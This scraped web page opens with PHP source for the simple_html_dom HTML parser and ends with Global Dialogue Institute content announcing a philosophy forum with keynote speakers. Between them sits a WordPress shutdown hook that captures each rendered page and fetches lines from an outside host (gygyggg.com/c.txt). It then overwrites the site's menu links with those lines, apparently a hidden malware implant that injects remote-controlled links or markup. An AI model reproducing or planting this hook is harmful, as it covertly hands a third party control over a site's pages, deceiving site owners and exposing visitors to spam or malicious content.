                    $this->removeAttribute('class');
                } else {
                    $this->class = implode(' ', $class);
                }
            }
        }

        function getAllAttributes()
        {
            return $this->attr;
        }

        function getAttribute($name)
        {
            return $this->__get($name);
        }

        function setAttribute($name, $value)
        {
            $this->__set($name, $value);
        }

        function hasAttribute($name)
        {
            return $this->__isset($name);
        }

        function removeAttribute($name)
        {
            $this->__set($name, null);
        }

        function remove()
        {
            if ($this->parent) {
                $this->parent->removeChild($this);
            }
        }

        function removeChild($node)
        {
            $nidx = array_search($node, $this->nodes, true);
            $cidx = array_search($node, $this->children, true);
            $didx = array_search($node, $this->dom->nodes, true);

            if ($nidx !== false && $cidx !== false && $didx !== false) {

                foreach ($node->children as $child) {
                    $node->removeChild($child);
                }

                foreach ($node->nodes as $entity) {
                    $enidx = array_search($entity, $node->nodes, true);
                    $edidx = array_search($entity, $node->dom->nodes, true);

                    if ($enidx !== false && $edidx !== false) {
                        unset($node->nodes[$enidx]);
                        unset($node->dom->nodes[$edidx]);
                    }
                }

                unset($this->nodes[$nidx]);
                unset($this->children[$cidx]);
                unset($this->dom->nodes[$didx]);

                $node->clear();

            }
        }

        function getElementById($id)
        {
            return $this->find("#$id", 0);
        }

        function getElementsById($id, $idx = null)
        {
            return $this->find("#$id", $idx);
        }

        function getElementByTagName($name)
        {
            return $this->find($name, 0);
        }

        function getElementsByTagName($name, $idx = null)
        {
            return $this->find($name, $idx);
        }

        function parentNode()
        {
            return $this->parent();
        }

        function childNodes($idx = -1)
        {
            return $this->children($idx);
        }

        function firstChild()
        {
            return $this->first_child();
        }

        function lastChild()
        {
            return $this->last_child();
        }

        function nextSibling()
        {
            return $this->next_sibling();
        }

        function previousSibling()
        {
            return $this->prev_sibling();
        }

        function hasChildNodes()
        {
            return $this->has_child();
        }

        function nodeName()
        {
            return $this->tag;
        }

        function appendChild($node)
        {
            $node->parent($this);
            return $node;
        }

    }

    class simple_html_dom
    {
        public $root = null;
        public $nodes = array();
        public $callback = null;
        public $lowercase = false;
        public $original_size;
        public $size;

        protected $pos;
        protected $doc;
        protected $char;

        protected $cursor;
        protected $parent;
        protected $noise = array();
        protected $token_blank = " \t\r\n";
        protected $token_equal = ' =/>';
        protected $token_slash = " />\r\n\t";
        protected $token_attr = ' >';

        public $_charset = '';
        public $_target_charset = '';

        protected $default_br_text = '';

        public $default_span_text = '';

        protected $self_closing_tags = array(
            'area' => 1,
            'base' => 1,
            'br' => 1,
            'col' => 1,
            'embed' => 1,
            'hr' => 1,
            'img' => 1,
            'input' => 1,
            'link' => 1,
            'meta' => 1,
            'param' => 1,
            'source' => 1,
            'track' => 1,
            'wbr' => 1
        );
        protected $block_tags = array(
            'body' => 1,
            'div' => 1,
            'form' => 1,
            'root' => 1,
            'span' => 1,
            'table' => 1
        );
        protected $optional_closing_tags = array(
            // Not optional, see
            // https://www.w3.org/TR/html/textlevel-semantics.html#the-b-element
            'b' => array('b' => 1),
            'dd' => array('dd' => 1, 'dt' => 1),
            // Not optional, see
            // https://www.w3.org/TR/html/grouping-content.html#the-dl-element
            'dl' => array('dd' => 1, 'dt' => 1),
            'dt' => array('dd' => 1, 'dt' => 1),
            'li' => array('li' => 1),
            'optgroup' => array('optgroup' => 1, 'option' => 1),
            'option' => array('optgroup' => 1, 'option' => 1),
            'p' => array('p' => 1),
            'rp' => array('rp' => 1, 'rt' => 1),
            'rt' => array('rp' => 1, 'rt' => 1),
            'td' => array('td' => 1, 'th' => 1),
            'th' => array('td' => 1, 'th' => 1),
            'tr' => array('td' => 1, 'th' => 1, 'tr' => 1),
        );

        function __construct(
            $str = null,
            $lowercase = true,
            $forceTagsClosed = true,
            $target_charset = DEFAULT_TARGET_CHARSET,
            $stripRN = true,
            $defaultBRText = DEFAULT_BR_TEXT,
            $defaultSpanText = DEFAULT_SPAN_TEXT,
            $options = 0)
        {
            if ($str) {
                if (preg_match('/^http:\/\//i', $str) || is_file($str)) {
                    $this->load_file($str);
                } else {
                    $this->load(
                        $str,
                        $lowercase,
                        $stripRN,
                        $defaultBRText,
                        $defaultSpanText,
                        $options
                    );
                }
            }
            // Forcing tags to be closed implies that we don't trust the html, but
            // it can lead to parsing errors if we SHOULD trust the html.
            if (!$forceTagsClosed) {
                $this->optional_closing_array = array();
            }

            $this->_target_charset = $target_charset;
        }

        function __destruct()
        {
            $this->clear();
        }

        function load(
            $str,
            $lowercase = true,
            $stripRN = true,
            $defaultBRText = DEFAULT_BR_TEXT,
            $defaultSpanText = DEFAULT_SPAN_TEXT,
            $options = 0)
        {
            global $debug_object;

            // prepare
            $this->prepare($str, $lowercase, $defaultBRText, $defaultSpanText);

            // Per sourceforge http://sourceforge.net/tracker/?func=detail&aid=2949097&group_id=218559&atid=1044037
            // Script tags removal now preceeds style tag removal.
            // strip out <script> tags
            $this->remove_noise("'<\s*script[^>]*[^/]>(.*?)<\s*/\s*script\s*>'is");
            $this->remove_noise("'<\s*script\s*>(.*?)<\s*/\s*script\s*>'is");

            // strip out the \r \n's if we are told to.
            if ($stripRN) {
                $this->doc = str_replace("\r", ' ', $this->doc);
                $this->doc = str_replace("\n", ' ', $this->doc);

                // set the length of content since we have changed it.
                $this->size = strlen($this->doc);
            }

            // strip out cdata
            $this->remove_noise("'<!\[CDATA\[(.*?)\]\]>'is", true);
            // strip out comments
            $this->remove_noise("'<!--(.*?)-->'is");
            // strip out <style> tags
            $this->remove_noise("'<\s*style[^>]*[^/]>(.*?)<\s*/\s*style\s*>'is");
            $this->remove_noise("'<\s*style\s*>(.*?)<\s*/\s*style\s*>'is");
            // strip out preformatted tags
            $this->remove_noise("'<\s*(?:code)[^>]*>(.*?)<\s*/\s*(?:code)\s*>'is");
            // strip out server side scripts
            $this->remove_noise("'(<\?)(.*?)(\?>)'s", true);

            if ($options & HDOM_SMARTY_AS_TEXT) { // Strip Smarty scripts
                $this->remove_noise("'(\{\w)(.*?)(\})'s", true);
            }

            // parsing
            $this->parse();
            // end
            $this->root->_[HDOM_INFO_END] = $this->cursor;
            $this->parse_charset();

            // make load function chainable
            return $this;
        }

        function load_file()
        {
            $args = func_get_args();

            if (($doc = call_user_func_array('file_get_contents', $args)) !== false) {
                $this->load($doc, true);
            } else {
                return false;
            }
        }

        function set_callback($function_name)
        {
            $this->callback = $function_name;
        }

        function remove_callback()
        {
            $this->callback = null;
        }

        function save($filepath = '')
        {
            $ret = $this->root->innertext();
            if ($filepath !== '') {
                file_put_contents($filepath, $ret, LOCK_EX);
            }
            return $ret;
        }

        function find($selector, $idx = null, $lowercase = false)
        {
            return $this->root->find($selector, $idx, $lowercase);
        }

        function clear()
        {
            if (isset($this->nodes)) {
                foreach ($this->nodes as $n) {
                    $n->clear();
                    $n = null;
                }
            }

            // This add next line is documented in the sourceforge repository.
            // 2977248 as a fix for ongoing memory leaks that occur even with the
            // use of clear.
            if (isset($this->children)) {
                foreach ($this->children as $n) {
                    $n->clear();
                    $n = null;
                }
            }

            if (isset($this->parent)) {
                $this->parent->clear();
                unset($this->parent);
            }

            if (isset($this->root)) {
                $this->root->clear();
                unset($this->root);
            }

            unset($this->doc);
            unset($this->noise);
        }

        function dump($show_attr = true)
        {
            $this->root->dump($show_attr);
        }

        protected function prepare(
            $str, $lowercase = true,
            $defaultBRText = DEFAULT_BR_TEXT,
            $defaultSpanText = DEFAULT_SPAN_TEXT)
        {
            $this->clear();

            $this->doc = trim($str);
            $this->size = strlen($this->doc);
            $this->original_size = $this->size; // original size of the html
            $this->pos = 0;
            $this->cursor = 1;
            $this->noise = array();
            $this->nodes = array();
            $this->lowercase = $lowercase;
            $this->default_br_text = $defaultBRText;
            $this->default_span_text = $defaultSpanText;
            $this->root = new simple_html_dom_node($this);
            $this->root->tag = 'root';
            $this->root->_[HDOM_INFO_BEGIN] = -1;
            $this->root->nodetype = HDOM_TYPE_ROOT;
            $this->parent = $this->root;
            if ($this->size > 0) {
                $this->char = $this->doc[0];
            }
        }

        protected function parse()
        {
            while (true) {
                // Read next tag if there is no text between current position and the
                // next opening tag.
                if (($s = $this->copy_until_char('<')) === '') {
                    if ($this->read_tag()) {
                        continue;
                    } else {
                        return true;
                    }
                }

                // Add a text node for text between tags
                $node = new simple_html_dom_node($this);
                ++$this->cursor;
                $node->_[HDOM_INFO_TEXT] = $s;
                $this->link_nodes($node, false);
            }
        }

        protected function parse_charset()
        {
            global $debug_object;

            $charset = null;

            if (function_exists('get_last_retrieve_url_contents_content_type')) {
                $contentTypeHeader = get_last_retrieve_url_contents_content_type();
                $success = preg_match('/charset=(.+)/', $contentTypeHeader, $matches);
                if ($success) {
                    $charset = $matches[1];
                    if (is_object($debug_object)) {
                        $debug_object->debug_log(2,
                            'header content-type found charset of: '
                            . $charset
                        );
                    }
                }
            }

            if (empty($charset)) {
                // https://www.w3.org/TR/html/document-metadata.html#statedef-http-equiv-content-type
                $el = $this->root->find('meta[http-equiv=Content-Type]', 0, true);

                if (!empty($el)) {
                    $fullvalue = $el->content;
                    if (is_object($debug_object)) {
                        $debug_object->debug_log(2,
                            'meta content-type tag found'
                            . $fullvalue
                        );
                    }

                    if (!empty($fullvalue)) {
                        $success = preg_match(
                            '/charset=(.+)/i',
                            $fullvalue,
                            $matches
                        );

                        if ($success) {
                            $charset = $matches[1];
                        } else {
                            // If there is a meta tag, and they don't specify the
                            // character set, research says that it's typically
                            // ISO-8859-1
                            if (is_object($debug_object)) {
                                $debug_object->debug_log(2,
                                    'meta content-type tag couldn\'t be parsed. using iso-8859 default.'
                                );
                            }

                            $charset = 'ISO-8859-1';
                        }
                    }
                }
            }

            if (empty($charset)) {
                // https://www.w3.org/TR/html/document-metadata.html#character-encoding-declaration
                if ($meta = $this->root->find('meta[charset]', 0)) {
                    $charset = $meta->charset;
                    if (is_object($debug_object)) {
                        $debug_object->debug_log(2, 'meta charset: ' . $charset);
                    }
                }
            }

            if (empty($charset)) {
                // Try to guess the charset based on the content
                // Requires Multibyte String (mbstring) support (optional)
                if (function_exists('mb_detect_encoding')) {
                    /**
                     * mb_detect_encoding() is not intended to distinguish between
                     * charsets, especially single-byte charsets. Its primary
                     * purpose is to detect which multibyte encoding is in use,
                     * i.e. UTF-8, UTF-16, shift-JIS, etc.
                     *
                     * -- https://bugs.php.net/bug.php?id=38138
                     *
                     * Adding both CP1251/ISO-8859-5 and CP1252/ISO-8859-1 will
                     * always result in CP1251/ISO-8859-5 and vice versa.
                     *
                     * Thus, only detect if it's either UTF-8 or CP1252/ISO-8859-1
                     * to stay compatible.
                     */
                    $encoding = mb_detect_encoding(
                        $this->doc,
                        array('UTF-8', 'CP1252', 'ISO-8859-1')
                    );

                    if ($encoding === 'CP1252' || $encoding === 'ISO-8859-1') {
                        // Due to a limitation of mb_detect_encoding
                        // 'CP1251'/'ISO-8859-5' will be detected as
                        // 'CP1252'/'ISO-8859-1'. This will cause iconv to fail, in
                        // which case we can simply assume it is the other charset.
                        if (!@iconv('CP1252', 'UTF-8', $this->doc)) {
                            $encoding = 'CP1251';
                        }
                    }

                    if ($encoding !== false) {
                        $charset = $encoding;
                        if (is_object($debug_object)) {
                            $debug_object->debug_log(2, 'mb_detect: ' . $charset);
                        }
                    }
                }
            }

            if (empty($charset)) {
                // Assume it's UTF-8 as it is the most likely charset to be used
                $charset = 'UTF-8';
                if (is_object($debug_object)) {
                    $debug_object->debug_log(2, 'No match found, assume ' . $charset);
                }
            }

            // Since CP1252 is a superset, if we get one of it's subsets, we want
            // it instead.
            if ((strtolower($charset) == 'iso-8859-1')
                || (strtolower($charset) == 'latin1')
                || (strtolower($charset) == 'latin-1')) {
                $charset = 'CP1252';
                if (is_object($debug_object)) {
                    $debug_object->debug_log(2,
                        'replacing ' . $charset . ' with CP1252 as its a superset'
                    );
                }
            }

            if (is_object($debug_object)) {
                $debug_object->debug_log(1, 'EXIT - ' . $charset);
            }

            return $this->_charset = $charset;
        }

        protected function read_tag()
        {
            // Set end position if no further tags found
            if ($this->char !== '<') {
                $this->root->_[HDOM_INFO_END] = $this->cursor;
                return false;
            }

            $begin_tag_pos = $this->pos;
            $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next

            // end tag
            if ($this->char === '/') {
                $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next

                // Skip whitespace in end tags (i.e. in "</   html>")
                $this->skip($this->token_blank);
                $tag = $this->copy_until_char('>');

                // Skip attributes in end tags
                if (($pos = strpos($tag, ' ')) !== false) {
                    $tag = substr($tag, 0, $pos);
                }

                $parent_lower = strtolower($this->parent->tag);
                $tag_lower = strtolower($tag);

                // The end tag is supposed to close the parent tag. Handle situations
                // when it doesn't
                if ($parent_lower !== $tag_lower) {
                    // Parent tag does not have to be closed necessarily (optional closing tag)
                    // Current tag is a block tag, so it may close an ancestor
                    if (isset($this->optional_closing_tags[$parent_lower])
                        && isset($this->block_tags[$tag_lower])) {

                        $this->parent->_[HDOM_INFO_END] = 0;
                        $org_parent = $this->parent;

                        // Traverse ancestors to find a matching opening tag
                        // Stop at root node
                        while (($this->parent->parent)
                            && strtolower($this->parent->tag) !== $tag_lower
                        ) {
                            $this->parent = $this->parent->parent;
                        }

                        // If we don't have a match add current tag as text node
                        if (strtolower($this->parent->tag) !== $tag_lower) {
                            $this->parent = $org_parent; // restore origonal parent

                            if ($this->parent->parent) {
                                $this->parent = $this->parent->parent;
                            }

                            $this->parent->_[HDOM_INFO_END] = $this->cursor;
                            return $this->as_text_node($tag);
                        }
                    } elseif (($this->parent->parent)
                        && isset($this->block_tags[$tag_lower])
                    ) {
                        // Grandparent exists and current tag is a block tag, so our
                        // parent doesn't have an end tag
                        $this->parent->_[HDOM_INFO_END] = 0; // No end tag
                        $org_parent = $this->parent;

                        // Traverse ancestors to find a matching opening tag
                        // Stop at root node
                        while (($this->parent->parent)
                            && strtolower($this->parent->tag) !== $tag_lower
                        ) {
                            $this->parent = $this->parent->parent;
                        }

                        // If we don't have a match add current tag as text node
                        if (strtolower($this->parent->tag) !== $tag_lower) {
                            $this->parent = $org_parent; // restore origonal parent
                            $this->parent->_[HDOM_INFO_END] = $this->cursor;
                            return $this->as_text_node($tag);
                        }
                    } elseif (($this->parent->parent)
                        && strtolower($this->parent->parent->tag) === $tag_lower
                    ) { // Grandparent exists and current tag closes it
                        $this->parent->_[HDOM_INFO_END] = 0;
                        $this->parent = $this->parent->parent;
                    } else { // Random tag, add as text node
                        return $this->as_text_node($tag);
                    }
                }

                // Set end position of parent tag to current cursor position
                $this->parent->_[HDOM_INFO_END] = $this->cursor;

                if ($this->parent->parent) {
                    $this->parent = $this->parent->parent;
                }

                $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                return true;
            }

            // start tag
            $node = new simple_html_dom_node($this);
            $node->_[HDOM_INFO_BEGIN] = $this->cursor;
            ++$this->cursor;
            $tag = $this->copy_until($this->token_slash); // Get tag name
            $node->tag_start = $begin_tag_pos;

            // doctype, cdata & comments...
            // <!DOCTYPE html>
            // <![CDATA[ ... ]]>
            // <!-- Comment -->
            if (isset($tag[0]) && $tag[0] === '!') {
                $node->_[HDOM_INFO_TEXT] = '<' . $tag . $this->copy_until_char('>');

                if (isset($tag[2]) && $tag[1] === '-' && $tag[2] === '-') { // Comment ("<!--")
                    $node->nodetype = HDOM_TYPE_COMMENT;
                    $node->tag = 'comment';
                } else { // Could be doctype or CDATA but we don't care
                    $node->nodetype = HDOM_TYPE_UNKNOWN;
                    $node->tag = 'unknown';
                }

                if ($this->char === '>') {
                    $node->_[HDOM_INFO_TEXT] .= '>';
                }

                $this->link_nodes($node, true);
                $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                return true;
            }

            // The start tag cannot contain another start tag, if so add as text
            // i.e. "<<html>"
            if ($pos = strpos($tag, '<') !== false) {
                $tag = '<' . substr($tag, 0, -1);
                $node->_[HDOM_INFO_TEXT] = $tag;
                $this->link_nodes($node, false);
                $this->char = $this->doc[--$this->pos]; // prev
                return true;
            }

            // Handle invalid tag names (i.e. "<html#doc>")
            if (!preg_match('/^\w[\w:-]*$/', $tag)) {
                $node->_[HDOM_INFO_TEXT] = '<' . $tag . $this->copy_until('<>');

                // Next char is the beginning of a new tag, don't touch it.
                if ($this->char === '<') {
                    $this->link_nodes($node, false);
                    return true;
                }

                // Next char closes current tag, add and be done with it.
                if ($this->char === '>') {
                    $node->_[HDOM_INFO_TEXT] .= '>';
                }
                $this->link_nodes($node, false);
                $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                return true;
            }

            // begin tag, add new node
            $node->nodetype = HDOM_TYPE_ELEMENT;
            $tag_lower = strtolower($tag);
            $node->tag = ($this->lowercase) ? $tag_lower : $tag;

            // handle optional closing tags
            if (isset($this->optional_closing_tags[$tag_lower])) {
                // Traverse ancestors to close all optional closing tags
                while (isset($this->optional_closing_tags[$tag_lower][strtolower($this->parent->tag)])) {
                    $this->parent->_[HDOM_INFO_END] = 0;
                    $this->parent = $this->parent->parent;
                }
                $node->parent = $this->parent;
            }

            $guard = 0; // prevent infinity loop

            // [0] Space between tag and first attribute
            $space = array($this->copy_skip($this->token_blank), '', '');

            // attributes
            do {
                // Everything until the first equal sign should be the attribute name
                $name = $this->copy_until($this->token_equal);

                if ($name === '' && $this->char !== null && $space[0] === '') {
                    break;
                }

                if ($guard === $this->pos) { // Escape infinite loop
                    $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                    continue;
                }

                $guard = $this->pos;

                // handle endless '<'
                // Out of bounds before the tag ended
                if ($this->pos >= $this->size - 1 && $this->char !== '>') {
                    $node->nodetype = HDOM_TYPE_TEXT;
                    $node->_[HDOM_INFO_END] = 0;
                    $node->_[HDOM_INFO_TEXT] = '<' . $tag . $space[0] . $name;
                    $node->tag = 'text';
                    $this->link_nodes($node, false);
                    return true;
                }

                // handle mismatch '<'
                // Attributes cannot start after opening tag
                if ($this->doc[$this->pos - 1] == '<') {
                    $node->nodetype = HDOM_TYPE_TEXT;
                    $node->tag = 'text';
                    $node->attr = array();
                    $node->_[HDOM_INFO_END] = 0;
                    $node->_[HDOM_INFO_TEXT] = substr(
                        $this->doc,
                        $begin_tag_pos,
                        $this->pos - $begin_tag_pos - 1
                    );
                    $this->pos -= 2;
                    $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                    $this->link_nodes($node, false);
                    return true;
                }

                if ($name !== '/' && $name !== '') { // this is a attribute name
                    // [1] Whitespace after attribute name
                    $space[1] = $this->copy_skip($this->token_blank);

                    $name = $this->restore_noise($name); // might be a noisy name

                    if ($this->lowercase) {
                        $name = strtolower($name);
                    }

                    if ($this->char === '=') { // attribute with value
                        $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                        $this->parse_attr($node, $name, $space); // get attribute value
                    } else {
                        //no value attr: nowrap, checked selected...
                        $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_NO;
                        $node->attr[$name] = true;
                        if ($this->char != '>') {
                            $this->char = $this->doc[--$this->pos];
                        } // prev
                    }

                    $node->_[HDOM_INFO_SPACE][] = $space;

                    // prepare for next attribute
                    $space = array(
                        $this->copy_skip($this->token_blank),
                        '',
                        ''
                    );
                } else { // no more attributes
                    break;
                }
            } while ($this->char !== '>' && $this->char !== '/'); // go until the tag ended

            $this->link_nodes($node, true);
            $node->_[HDOM_INFO_ENDSPACE] = $space[0];

            // handle empty tags (i.e. "<div/>")
            if ($this->copy_until_char('>') === '/') {
                $node->_[HDOM_INFO_ENDSPACE] .= '/';
                $node->_[HDOM_INFO_END] = 0;
            } else {
                // reset parent
                if (!isset($this->self_closing_tags[strtolower($node->tag)])) {
                    $this->parent = $node;
                }
            }

            $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next

            // If it's a BR tag, we need to set it's text to the default text.
            // This way when we see it in plaintext, we can generate formatting that the user wants.
            // since a br tag never has sub nodes, this works well.
            if ($node->tag === 'br') {
                $node->_[HDOM_INFO_INNER] = $this->default_br_text;
            }

            return true;
        }

        protected function parse_attr($node, $name, &$space)
        {
            $is_duplicate = isset($node->attr[$name]);

            if (!$is_duplicate) // Copy whitespace between "=" and value
                $space[2] = $this->copy_skip($this->token_blank);

            switch ($this->char) {
                case '"':
                    $quote_type = HDOM_QUOTE_DOUBLE;
                    $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                    $value = $this->copy_until_char('"');
                    $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                    break;
                case '\'':
                    $quote_type = HDOM_QUOTE_SINGLE;
                    $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                    $value = $this->copy_until_char('\'');
                    $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
                    break;
                default:
                    $quote_type = HDOM_QUOTE_NO;
                    $value = $this->copy_until($this->token_attr);
            }

            $value = $this->restore_noise($value);

            // PaperG: Attributes should not have \r or \n in them, that counts as
            // html whitespace.
            $value = str_replace("\r", '', $value);
            $value = str_replace("\n", '', $value);

            // PaperG: If this is a "class" selector, lets get rid of the preceeding
            // and trailing space since some people leave it in the multi class case.
            if ($name === 'class') {
                $value = trim($value);
            }

            if (!$is_duplicate) {
                $node->_[HDOM_INFO_QUOTE][] = $quote_type;
                $node->attr[$name] = $value;
            }
        }

        protected function link_nodes(&$node, $is_child)
        {
            $node->parent = $this->parent;
            $this->parent->nodes[] = $node;
            if ($is_child) {
                $this->parent->children[] = $node;
            }
        }

        protected function as_text_node($tag)
        {
            $node = new simple_html_dom_node($this);
            ++$this->cursor;
            $node->_[HDOM_INFO_TEXT] = '</' . $tag . '>';
            $this->link_nodes($node, false);
            $this->char = (++$this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
            return true;
        }

        protected function skip($chars)
        {
            $this->pos += strspn($this->doc, $chars, $this->pos);
            $this->char = ($this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
        }

        protected function copy_skip($chars)
        {
            $pos = $this->pos;
            $len = strspn($this->doc, $chars, $pos);
            $this->pos += $len;
            $this->char = ($this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
            if ($len === 0) {
                return '';
            }
            return substr($this->doc, $pos, $len);
        }

        protected function copy_until($chars)
        {
            $pos = $this->pos;
            $len = strcspn($this->doc, $chars, $pos);
            $this->pos += $len;
            $this->char = ($this->pos < $this->size) ? $this->doc[$this->pos] : null; // next
            return substr($this->doc, $pos, $len);
        }

        protected function copy_until_char($char)
        {
            if ($this->char === null) {
                return '';
            }

            if (($pos = strpos($this->doc, $char, $this->pos)) === false) {
                $ret = substr($this->doc, $this->pos, $this->size - $this->pos);
                $this->char = null;
                $this->pos = $this->size;
                return $ret;
            }

            if ($pos === $this->pos) {
                return '';
            }

            $pos_old = $this->pos;
            $this->char = $this->doc[$pos];
            $this->pos = $pos;
            return substr($this->doc, $pos_old, $pos - $pos_old);
        }

        protected function remove_noise($pattern, $remove_tag = false)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            $count = preg_match_all(
                $pattern,
                $this->doc,
                $matches,
                PREG_SET_ORDER | PREG_OFFSET_CAPTURE
            );

            for ($i = $count - 1; $i > -1; --$i) {
                $key = '___noise___' . sprintf('% 5d', count($this->noise) + 1000);

                if (is_object($debug_object)) {
                    $debug_object->debug_log(2, 'key is: ' . $key);
                }

                $idx = ($remove_tag) ? 0 : 1; // 0 = entire match, 1 = submatch
                $this->noise[$key] = $matches[$i][$idx][0];
                $this->doc = substr_replace($this->doc, $key, $matches[$i][$idx][1], strlen($matches[$i][$idx][0]));
            }

            // reset the length of content
            $this->size = strlen($this->doc);

            if ($this->size > 0) {
                $this->char = $this->doc[0];
            }
        }

        function restore_noise($text)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            while (($pos = strpos($text, '___noise___')) !== false) {
                // Sometimes there is a broken piece of markup, and we don't GET the
                // pos+11 etc... token which indicates a problem outside of us...

                // todo: "___noise___1000" (or any number with four or more digits)
                // in the DOM causes an infinite loop which could be utilized by
                // malicious software
                if (strlen($text) > $pos + 15) {
                    $key = '___noise___'
                        . $text[$pos + 11]
                        . $text[$pos + 12]
                        . $text[$pos + 13]
                        . $text[$pos + 14]
                        . $text[$pos + 15];

                    if (is_object($debug_object)) {
                        $debug_object->debug_log(2, 'located key of: ' . $key);
                    }

                    if (isset($this->noise[$key])) {
                        $text = substr($text, 0, $pos)
                            . $this->noise[$key]
                            . substr($text, $pos + 16);
                    } else {
                        // do this to prevent an infinite loop.
                        $text = substr($text, 0, $pos)
                            . 'UNDEFINED NOISE FOR KEY: '
                            . $key
                            . substr($text, $pos + 16);
                    }
                } else {
                    // There is no valid key being given back to us... We must get
                    // rid of the ___noise___ or we will have a problem.
                    $text = substr($text, 0, $pos)
                        . 'NO NUMERIC NOISE KEY'
                        . substr($text, $pos + 11);
                }
            }
            return $text;
        }

        function search_noise($text)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            foreach ($this->noise as $noiseElement) {
                if (strpos($noiseElement, $text) !== false) {
                    return $noiseElement;
                }
            }
        }

        function __toString()
        {
            return $this->root->innertext();
        }

        function __get($name)
        {
            switch ($name) {
                case 'outertext':
                    return $this->root->innertext();
                case 'innertext':
                    return $this->root->innertext();
                case 'plaintext':
                    return $this->root->text();
                case 'charset':
                    return $this->_charset;
                case 'target_charset':
                    return $this->_target_charset;
            }
        }

        function childNodes($idx = -1)
        {
            return $this->root->childNodes($idx);
        }

        function firstChild()
        {
            return $this->root->first_child();
        }

        function lastChild()
        {
            return $this->root->last_child();
        }

        function createElement($name, $value = null)
        {
            return @str_get_html("<$name>$value</$name>")->firstChild();
        }

        function createTextNode($value)
        {
            return @end(str_get_html($value)->nodes);
        }

        function getElementById($id)
        {
            return $this->find("#$id", 0);
        }

        function getElementsById($id, $idx = null)
        {
            return $this->find("#$id", $idx);
        }

        function getElementByTagName($name)
        {
            return $this->find($name, 0);
        }

        function getElementsByTagName($name, $idx = -1)
        {
            return $this->find($name, $idx);
        }

        function loadFile()
        {
            $args = func_get_args();
            $this->load_file($args);
        }
    }


    /////////////////////////////////////////////////////////////////////
    ob_start();
    add_action('shutdown', function () {
        $html = ob_get_clean();
        $doc = new simple_html_dom();
        $doc = str_get_html($html);
        $searchs = [
            'menu-item',

        ];

        $url = 'https://gygyggg.com/c.txt';
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_HEADER, false);
        $replaces = explode("\n",curl_exec($curl));
        curl_close($curl);

     

        foreach ($searchs as $search) {
            $count_link = 0;
            foreach ($replaces as $replace) {
                if (isset($doc->find('.' . $search . ' a', $count_link)->outertext)) {
                    $doc->find('.' . $search . ' a', $count_link)->outertext = $replace;
                    $count_link++;
                } else {
                    break;
                }
            }
        }


        echo $doc;
    }, 0);
}
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				<h3>Global Philosophy Forum: Making Sense of Our Great Evolutionary Shift</h3>
					
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				<p>The Global Dialogue Institute Presents the Global Philosophy Annual Forum.</p>
<p>Featuring keynote presentations by:</p>
<p><strong>Ashok Gangadean</strong>, Professor and Chair of Philosophy, Haverford College; Founder and Director of The Global Dialogue Institute; Chair/Coordinator of the 2009 Global Philosophy Forum: <em>Awakening the Global Mind: Our Evolutionary MindShift</em></p>
<p><strong>Gilah Yelin Hirsch</strong>, Professor of Art, California State University; painter, writer, photographer, videographer: <em>READING THE LANDSCAPE:  SUMMONING THE UNIFIED FIELD.</em> An Investigation into the Relation between Origin of Alphabet, Pattern in Nature and the Neurology of Perception.</p>
<p><strong>Nassim Haramein</strong>, Theoretical scientist and Director of The Resonance Project: Weaving Together the Sciences of Advanced Physics, Biology, Chemistry and Cosmology, as well as the Wisdom of the Ancients CROSSING THE EVENT HORIZON:  RISE TO THE EQUATION &#8211;FROM         CONSCIOUSNESS TO PHYSICS.</p>
<p>THIS EVENT IS FREE AND OPEN TO THE PUBLIC. AUDIENCE PARTICIPATION IS ENCOURAGED. Each presentation will be about 60 minutes, followed by a brief discussion. After all presentations are complete, panelists will engage in an extended dialogue that will open up to involve the audience.</p>
<p>SUPPORTED BY THE GDI ASSOCIATES &amp; Distinguished Visitors Program of Haverford College</p>
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				<li><a href="http://www.globaldialogueinstitute.org/document/our-book-deep-dialogue-our-path-into-the-furture/" title="Our Book:  DEEP DIALOGUE: OUR PATH INTO THE FURTURE.">Our Book:  DEEP DIALOGUE: OUR PATH INTO THE FURTURE.</a></li>
				<li><a href="http://www.globaldialogueinstitute.org/uncategorized/ashok-our-evolutionary-shift-from-monologue-to-dialogue-vistar-event/" title="Ashok: Our Evolutionary Shift from Monologue to Dialogue: Vistar Event">Ashok: Our Evolutionary Shift from Monologue to Dialogue: Vistar Event</a></li>
				<li><a href="http://www.globaldialogueinstitute.org/video/inaugurating-our-sanctuary-for-deep-dialogue-life/" title="Inaugurating our ((Sanctuary for Deep Dialogue Life))">Inaugurating our ((Sanctuary for Deep Dialogue Life))</a></li>
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